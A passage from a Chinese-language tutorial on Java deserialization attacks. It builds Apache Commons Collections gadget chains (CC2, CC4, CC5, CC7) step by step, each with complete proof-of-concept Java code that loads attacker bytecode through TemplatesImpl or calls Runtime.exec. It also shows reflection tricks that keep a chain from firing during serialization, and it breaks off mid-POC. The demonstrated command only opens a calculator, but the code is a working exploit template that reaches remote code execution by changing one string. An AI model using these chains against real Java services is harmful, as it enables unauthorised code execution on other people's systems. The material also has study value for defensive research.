    TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
    HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
    hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
    Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
    lazyMapDst.setAccessible(true);
    lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
    serialize(hsMap);
    unserialize();
}

public static void serialize(Object o) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    ois.readObject();
}

/*
图中的 BASE64 是如下类的字节码 BASE64 后的值:
public class CMD extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
    static {
        try {
            Process exec = Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}
*/

最终运行即可弹出计算器. 最终链条梳理:

HashMap::readObject
    TiedMapEntry::hashCode
       LazyMap::get
         ChainedTransformer::transform
                ConstantTransformer::transform
                InvokerTransformer::transform
                    TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass
TrAXFilter::带参构造

前面我们使用的是InvokerTransformer::transform方法调用到了我们的TemplatesImpl::newTransformer, 那么我们在这里可以查看一下,TemplatesImpl::newTransformer被谁调用了.

image-1732762804520.png

可以看到的是,TrAXFilter(Templates)构造方法中, 进行主动的调用了我们的newTransformer方法, 但是这个类不可以被序列化:

public class XMLFilterImpl implements XMLFilter, EntityResolver, DTDHandler, ContentHandler, ErrorHandler {}

public class TrAXFilter extends XMLFilterImpl {
   public TrAXFilter(Templates templates)  throws TransformerConfigurationException {
        _transformer = (TransformerImpl) templates.newTransformer();
       // ... 其他代码
    }
}
InstantiateTransformer::transform 实例化类

在我们之前Runtime.exec命令执行操作时, 解决办法是通过传递Runtime.class, 因为Class允许被序列化, 那么这里有没有一个类允许传递过来Class从而对其实例化操作呢?实际上是有的:

public class InstantiateTransformer implements Transformer, Serializable {
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);
    }
    // ... 其他代码
}

我们可以看到的是, 这个InstantiateTransformer::transform的功能是: 接收一个 Class, 得到它的构造器, 进行 newInstance 操作.

这一点刚刚满足我们TrAXFilter::带参构造的需求! 那么构造POC:

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
    Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
    name.setAccessible(true);
    bytecodes.setAccessible(true);
    byte[][] myBytes = new byte[1][];
    myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类字节码 Base64 后的值, 可以使用 Base64.getEncoder().encodeToString(Repository.lookupClass(具体类.class).getBytes()) 进行生成"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
    bytecodes.set(templates, myBytes);
    name.set(templates, "");

    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(TrAXFilter.class), // 接收任意参数, 返回 TrAXFilter.class 这个类
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // TrAXFilter.class 作为 InstantiateTransformer::transform 的参数调用过去, 从而调用到了 templates.newTransformer 方法, 进入类加载器
    });

    HashMap<Object, Object> map = new HashMap<>();
    LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
    HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
    hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
    Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
    lazyMapDst.setAccessible(true);
    lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
    serialize(hsMap);
    unserialize();
}

public static void serialize(Object o) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    ois.readObject();
}

运行弹出计算器, 下面来梳理一下链路:

HashMap::readObject
    TiedMapEntry::hashCode
       LazyMap::get
         ChainedTransformer::transform
                ConstantTransformer::transform
                InstantiateTransformer::transform
                    TrAXFilter::带参构造
                       TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass

CC4 链路 (版本1) >= jdk1.8.0_131 俗称CC2

Apache Commons Collections中更新了一个最新版本, 这个版本与原来第三个版本略有区别, 但不多, 笔者在这里放出来看一下:

image-1732762824273.png

可以看到, 该有的功能都在. 只不过多了一些泛型进行修饰, 所以我们刚刚上面的那一条链路仍然可以使用, 而CC4中也存在新的链条, 下面我们来分析新链条.

TransformingComparator::compare 链式调用

在CC4中,TransformingComparator允许序列化操作, 但CC3中不允许, 它的类定义如下:

public class TransformingComparator<I, O> implements Comparator<I>, Serializable { // 注意实现了 Comparator, 并且CC4支持序列化
    private final Transformer<? super I, ? extends O> transformer; // transformer 是 Transformer 类型

    public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                                  final Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1); // 存在 transform 方法调用
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2); // decorated 也不能设置为空, 否则在我们序列化时, 前面的调用者调用到这里的话, 会抛出空指针异常. 
        /*
            decorated 可以选择 NullComparator, NullComparator 可序列化, 它的 compare 方法定义如下:
            public int compare(final E o1, final E o2) {
                if(o1 == o2) { return 0; }
                if(o1 == null) { return this.nullsAreHigh ? 1 : -1; }
                if(o2 == null) { return this.nullsAreHigh ? -1 : 1; }
                return this.nonNullComparator.compare(o1, o2);
            }
        */
    }
}

那么这里我们就可以接着查找, 谁调用了compare方法

PriorityQueue::readObject 入口点 & PriorityQueue::siftDownUsingComparator 链式调用

最终在PriorityQueue::siftDownUsingComparator方法中找到了compare方法调用, 这里PriorityQueue类是一个队列类, 该类同样实现了Serializable接口, 同样也是可序列化的, 代码定义如下:

image-1732762835632.png

这里注意一下, 调用到的 comparator.compare(参数1, 参数2) 的 参数1 是可控的, 我们只需要在往这个队列中add数据即可.

我们这里注意heapify方法中的for循环判断,size变量最少为2时, 向右移一位才可以正常进入for循环, 如图:

image-1732762845438.png

所以我们在构造POC时, 一定要将这个队列的大小最少设置为2才行. 设置为2也就意味着向这个队列add两次数据, 我们看一下PriorityQueue::add方法做了什么:

public boolean add(E e) {
    return offer(e); // 调用 offer
}

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size; // 当前队列大小
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e); // 大小不为0, 调用 siftUp
    return true;
}

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x); // 这里会走向我们的链路终端
    else
        siftUpComparable(k, x);
}

这个问题, 类似于我们之前的HashMap中的问题解决, 我们只需要add方法前切断链路,add方法后通过反射修复链路即可.

当然这个类的构造器定义如下:

public PriorityQueue(Comparator<? super E> comparator) {
    this(DEFAULT_INITIAL_CAPACITY, comparator);
}

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator; // private final Comparator<? super E> comparator;
}

而由于TransformingComparator实现了Comparator, 所以可以进行正常赋值.

TransformingComparator::readObject方法中直接进行了调用comparator.compare方法, 所以这里也是一个Gadget. 编写POC:

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
    Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
    name.setAccessible(true);
    bytecodes.setAccessible(true);
    byte[][] myBytes = new byte[1][];
    myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类的 Base64"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
    bytecodes.set(templates, myBytes);
    name.set(templates, "");

    ConstantTransformer tmpTransformer = new ConstantTransformer(TrAXFilter.class); // 绕过 add 两次时走向我们的链路.
    TransformingComparator transformingComparator = new TransformingComparator(tmpTransformer, new NullComparator()); // tmpTransformer 先扔进去
    PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
    priorityQueue.add("heihu");
    priorityQueue.add("577"); // add 的第二次走向链路终端, 因为我们仍的是 tmpTransformer, 所以不会调用到我们的恶意类中.

    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(TrAXFilter.class), // 接收任意参数, 返回 TrAXFilter.class 这个类
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // TrAXFilter.class 作为 InstantiateTransformer::transform 的参数调用过去, 从而调用到了 templates.newTransformer 方法, 进入类加载器
    });
    Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
    transformer.setAccessible(true);
    transformer.set(transformingComparator, chainedTransformer); // add 方法走完, 再改回来我们的恶意类

    serialize(priorityQueue);
    unserialize();
}


public static void serialize(Object o) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    ois.readObject();
}

运行即可弹出计算器. 最终链路梳理如下:

PriorityQueue::readObject
    TransformingComparator::compare
        ChainedTransformer::transform
            ConstantTransformer::transform
            InstantiateTransformer::transform
                TrAXFilter::带参构造
                    TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass
反射修改 final 变量的值

为了能让我们的序列化按照正常流程走完, 在之前我们add前后的无效赋值操作, 中间参与了一个NullComparator对象, 具体代码如下:

TransformingComparator transformingComparator = new TransformingComparator(tmpTransformer, new NullComparator()); // 注意这里的 NullComparator, 是为了防止第二次 priorityQueue.add 时, 进入我们恶意类的 compare 方法的.
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add("heihu");
priorityQueue.add("577");

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer); // add 方法走完, 再改回来我们的恶意类

这样的解决方法并不划算, 因为NullComparator并没有在实际的反序列化链路里面, 让这么一个类帮助我们生成POC有点不划算, 因为我们不可能仅仅为了让我们的POC可以正常运行, 从而大费周折的去寻找一个可以执行的类. 那么我们应该怎么无效赋值才划算呢?

PriorityQueue这个类add方法, 我们观察一下:

public boolean add(E e) {
    return offer(e); // 调用 offer
}

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e); // 调用 siftUp
    return true;
}

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x); // 如果是 null, 走到这里
}

private void siftUpComparable(int k, E x) { // 默认的比较形式
    Comparable<? super E> key = (Comparable<? super E>) x;
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (key.compareTo((E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = key;
}

那么我们干脆直接不对comparator进行赋值了, 在我们add之后再进行赋值, 但是comparator的类修饰符为final, 如下:

private final Comparator<? super E> comparator;

但是通过反射, 我们可以修改该字段的访问修饰符, 所以我们无需赋值失败问题, 最终POC:

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
    Field name = templates.getClass().getDeclaredField("_name");
    name.setAccessible(true);
    bytecodes.setAccessible(true);
    byte[][] myBytes = new byte[1][];
    myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类的 BASE64");
    bytecodes.set(templates, myBytes);
    name.set(templates, "");

    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    });
    TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer, null);
    PriorityQueue priorityQueue = new PriorityQueue(); // 注意这里, 干脆直接不赋值
    priorityQueue.add("heihu");
    priorityQueue.add("577"); // add 的第二次走向 PriorityQueue comparator 不赋值的情况

    Field transformer = priorityQueue.getClass().getDeclaredField("comparator");
    transformer.setAccessible(true); // 允许爆破
    Field modifiersField = Field.class.getDeclaredField("modifiers");
    modifiersField.setAccessible(true);
    modifiersField.setInt(transformer, transformer.getModifiers() & ~Modifier.FINAL); // 让其 final 也允许被赋值

    transformer.set(priorityQueue, transformingComparator); // add 方法走完, 再改回来我们的恶意类

    serialize(priorityQueue);
    unserialize();
}


public static void serialize(Object o) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    ois.readObject();
}

运行即可弹出计算器.

修改 size 防止序列化时进入链路

由于priorityQueue.add是当size = 2时, 会调用进链路, 那么我们可以第一次add后, 将size改为0, 第二次add后, 将size改为2, 这样更方便一点, 就不用在调用进链路时, 去切断链路了, 因为从开头就已经切断了:

PriorityQueue priorityQueue = new PriorityQueue(xxx);
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);

priorityQueue.add(templates); // 将可控的 templates 传入
size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
priorityQueue.add(templates);
size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路

后面在使用CB链路中笔者会通过这种方式演示.

CC4 链路 (版本2) 无数组版本 >= jdk1.8.0_131 俗称CC4

这个版本都是利用前面我们所学习过的作为链路的, 我们中间使用InstantiateTransformer::transform进行实例化TrAXFilter::带参构造从而调用到了Xalan ClassLoader, 通过ConstantTransformer::transform解决了readObject传递过来的数据并不是任意的问题.

而这里由于PriorityQueue::readObject的入口点可以传递任意对象到我们的链路中, 所以我们可以直接传递一个TemplatesImpl对象过去, 通过调用InvokerTransformer::transform去调用我们TemplatesImpl::newTransformer方法即可, 编写POC:

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
    Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
    name.setAccessible(true);
    bytecodes.setAccessible(true);
    byte[][] myBytes = new byte[1][];
    myBytes[0] = new BASE64Decoder().decodeBuffer("恶意字节码的 BASE64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
    bytecodes.set(templates, myBytes);
    name.set(templates, "");

//        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
//                new ConstantTransformer(TrAXFilter.class), // 接收任意参数, 返回 TrAXFilter.class 这个类
//                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // TrAXFilter.class 作为 InstantiateTransformer::transform 的参数调用过去, 从而调用到了 templates.newTransformer 方法, 进入类加载器
//        });

    InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
    ConstantTransformer<Object, Object> tmpTransformer = new ConstantTransformer("tmp"); // 对其进行一次无效赋值
    TransformingComparator transformingComparator = new TransformingComparator(tmpTransformer);
    PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
    priorityQueue.add(templates);
    priorityQueue.add(templates);

    Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
    transformer.setAccessible(true);
    transformer.set(transformingComparator, invokerTransformer); // add 方法走完, 再改回来我们的恶意类

    serialize(priorityQueue);
    unserialize();
}


public static void serialize(Object o) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    ois.readObject();
}

这个链的特性则是无需使用ChainedTransformer, 也就避免了Transformer[]这个数组的使用, 运行弹出计算器, 整个链路如下:

PriorityQueue::readObject
    TransformingComparator::compare
       InvokerTransformer::transform
            TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass

CC4 链路 (版本3) 俗称 CC5

这个版本的CC链路, 与之前的CC链路基本相同, 只是开头变了, 本来链路如下:

AnnotationInvocationHandler::readObject
    AnnotationInvocationHandler::invoke
       LazyMap::get
         ChainedTransformer::transform
                ConstantTransformer::transform
                InvokerTransformer::transform
                    Runtime::getRuntime

而现在触发LazyMap::get不再使用AnnotationInvocationHandler::invoke && AnnotationInvocationHandler::readObject了.

TiedMapEntry::toString 链式调用

我们看一下TiedMapEntry::toString这个函数定义:

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

    public Object getValue() {
        return map.get(key); // 传递的 key 可控
    }

    public String toString() {
        return getKey() + "=" + getValue(); // 注意 getValue 方法
    }
}

当然, 这里就直接调用到map.get(可控值)方法了, 我们后续直接把map属性设置为LazyMap即可, 所以这里也是一条链路.

BadAttributeValueExpException::readObject 入口方法 - 调用 toString

BadAttributeValueExpException::readObject中调用了任意对象.toString方法, 我们可以看一下这个方法定义:

public class BadAttributeValueExpException extends Exception  { // public class Exception extends Throwable {}, public class Throwable implements Serializable {}, 所以这里是可序列化的.
    private Object val;

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString(); // 这里会自动调用 toString 方法, 可以作为后续无效赋值进行切断链路的点
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString(); // 注意这里
        } else {
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
}

那么完整的链路已经构造完毕, 我们编写POC测试:

public class Main4 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, InvocationTargetException, NoSuchFieldException {
        Transformer[] transformerChain = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                        new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
        HashMap<Object, Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "heihu577");
        BadAttributeValueExpException o = new BadAttributeValueExpException(null); // 防止构造方法中就调用 toString
        Field val = o.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(o, tiedMapEntry); // 避开构造方法之后, 通过反射改回来恶意对象
        serialize(o);
        unserialize();
    }

    public static void serialize(Object o) throws IOException, IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        ois.readObject();
    }
}

运行弹出计算器, 其中链路如下:

BadAttributeValueExpException::readObject
    TiedMapEntry::toString
       LazyMap::get
         ChainedTransformer::transform
                ConstantTransformer::transform
                InvokerTransformer::transform
                    Runtime::getRuntime

CC4 链路 (版本4) 俗称 CC7

这个链路有一个hash碰撞的问题, 为了方便研究, 笔者先把这个链路的调用链放出来.

Hashtable::readObject
    AbstractMap::equals
       LazyMap::get
         ChainedTransformer::transform
                ConstantTransformer::transform
                InvokerTransformer::transform
                    Runtime::getRuntime

当然这里我们需要理解Hashtable::put方法的流程, 以及LazyMap::put方法.

Hashtable::put 流程分析

Hashtable 与 HashMap 的功能是类似的, 在 JDK 高版本中, 开发了 HashMap, 替代了 Hashtable.

那么我们准备如下代码, 进行分析:

Hashtable<Object, Object> hstable = new Hashtable<>();
hstable.put("hello", "world");
hstable.put("heihu", "577");

我们对put方法打上断点, 看它做了什么操作.

image-1732762899015.png

在上面两次put的代码我们可以看到的是, 如果两个keyhashCode()方法处理后,hash不同, 就不会调用到entry.key.equals(key)中去. 而如果hash相同, 则不会调用到addEntry方法, 底层table数组也不会改变.

String::hashCode hash 碰撞

在上面我们也看到了,String::hashCode方法的定义如下:

public int hashCode() {
    int h = hash; // 默认为0
    if (h == 0 && value.length > 0) {
        char val[] = value; // private final char value[]; String 包装的每个字符串, 用 char[] 进行包装
        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val<i>;
            /*  假设字符串 ab
                31 * 0 + a的ASCII
                a的ASCII * 31 + b的ASCII
                ... 以此类推
            */
        }
        hash = h;
    }
    return h;
}

那么我们是否可以构建出两个不同的字符串, 但hashCode相同的字符串呢?编写如下python脚本:

myDict1 = {}
for i in range(1,127):
    for j in range(1,127):
        key = i * 31 + j
        nowKey = myDict1.get(key)
        if nowKey != None:
            print(nowKey + " = " + (chr(i) + chr(j)))
        myDict1[key] = chr(i) + chr(j)

最终可以跑出一系列字符串不同, 但hashCode相同的字符串:

System.out.println("}~".hashCode()); // 4001
System.out.println("~_".hashCode()); // 4001
LazyMap 类构成

在前面链路中, 我们的确使用了LazyMap, 但我们并没有对LazyMap做进一步的分析, 而是构造POC直接打, 现在我们再来看一看LazyMap:

public abstract class AbstractMapDecorator implements Map {
    protected transient Map map;
    public AbstractMapDecorator(Map map) {
        this.map = map; // 将外部传递过来的 map 放到成员属性中
    }

    public boolean equals(Object object) {
        if (object == this) {
            return true;
        }
        return map.equals(object); // 当调用 equals, 直接调用 map 属性的 equals
    }
}

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    protected final Transformer factory;

    public Object get(Object key) {
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value); // 其实也是对原生的 map 进行操作
            return value;
        }
        return map.get(key);
    }
}

根据上面的类关系, 说明了一个问题,LazyMap只是将外部传递过来的Map进行封装到属性里了,get, put方法等, 都是在这个map上进行操作的, 下面用代码进行理解:

HashMap<Object, Object> hsMap = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hsMap, new ConstantTransformer("1"));
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hsMap, new ConstantTransformer("1"));
lazyMap1.put("heihu", "577"); // 对 LazyMap1 进行 put
System.out.println(lazyMap2.get("heihu")); // 577
System.out.println(hsMap.get("heihu")); // 577

因为两者操作的都是第一行的HashMap, 所以lazyMap1 && lazyMap2的一系列操作等同于操作的同一个对象, 如果不想操作同一个对象必须传递的HashMap不同, 如下代码:

HashMap<Object, Object> hsMap1 = new HashMap<>();
HashMap<Object, Object> hsMap2 = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hsMap1, new ConstantTransformer("1"));
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hsMap2, new ConstantTransformer("1"));
lazyMap1.put("heihu", "577"); // 对 LazyMap1 进行 put
System.out.println(lazyMap2.get("heihu")); // 1. 当 lazyMap2::map 属性中没有这个 key 的时候, 会调用到 ConstantTransformer::transform 方法, 而 ConstantTransformer::transform 返回了 1

现在大致LazyMap的操作流程我们已经梳理清楚了, 下面我们再来看一下LazyMap::hashCode方法的定义:

public abstract class AbstractMapDecorator implements Map {
    public int hashCode() {
        return map.hashCode(); // 会调用外部传递过来的 hashCode 方法
    }
}
public class LazyMap extends AbstractMapDecorator implements Map, Serializable { ... }

那么我们假设传递过去的MapHashMap, 看一下HashMap::hashCode方法:

public abstract class AbstractMap<K,V> implements Map<K,V> {
    public int hashCode() { // LazyMap.hashCode() 实际上调用到这里
        int h = 0;
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext())
            h += i.next().hashCode(); // 对每一个 Entry 进行调用 hashCode() 方法, 然后加到 h 变量中
        return h;
    }
}

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
    static class Node<K,V> implements Map.Entry<K,V> {
        final int hash;
        final K key;
        V value;
        Node<K,V> next;

        public final int hashCode() {
            return Objects.hashCode(key) ^ Objects.hashCode(value); // 每个 entry 是由 entry[key].hashCode ^ entry[value].hashCode 的运算结果
        }
    }
}

public Class Object {
    public static int hashCode(Object o) {
        return o != null ? o.hashCode() : 0; // 不是 null 就调用 hashCode
    } 
}

可以看到的是, 如果对LazyMap进行hashCode操作, 实际上会调用到HashMap$Node.hashCode中.HashMap$Node.hashCode的算法只是将key && value都进行异或操作了.

这里假设两个LazyMapvalue值相同, 而Key使用了不同字符但hashCode相同的字符, 那么这两个LazyMap所计算出来的hashCode应该也是相同的, 代码测试如下:

HashMap<Object, Object> hsMap1 = new HashMap<>();
HashMap<Object, Object> hsMap2 = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hsMap1, new ConstantTransformer("1"));
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hsMap2, new ConstantTransformer("1"));
lazyMap1.put("}S", 1); // }S 的 hashCode 与 ~4 的 hashCode 相同.
lazyMap2.put("~4", 1);
System.out.println(lazyMap1.hashCode()); // 3959
System.out.println(lazyMap2.hashCode()); // 3959

那么我们理解完上述所有内容之后, 开始挖掘这个CC链.

AbstractMapDecorator::equals 链式调用

回到挖掘CC链,AbstractMap::equals调用了LazyMap::get方法.

image-1732762925450.png

这里关系可能比较乱, 一句话就是说: 准备两个LazyMap, 这两个LazyMap中包裹HashMap, 然后调用LazyMap::equals(另一个LazyMap)即可.

这里准备POC如下:

Transformer[] transformerChain = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec",
                new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用

// 准备两个 HashMap
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

hashMap1.put("heihu", null);
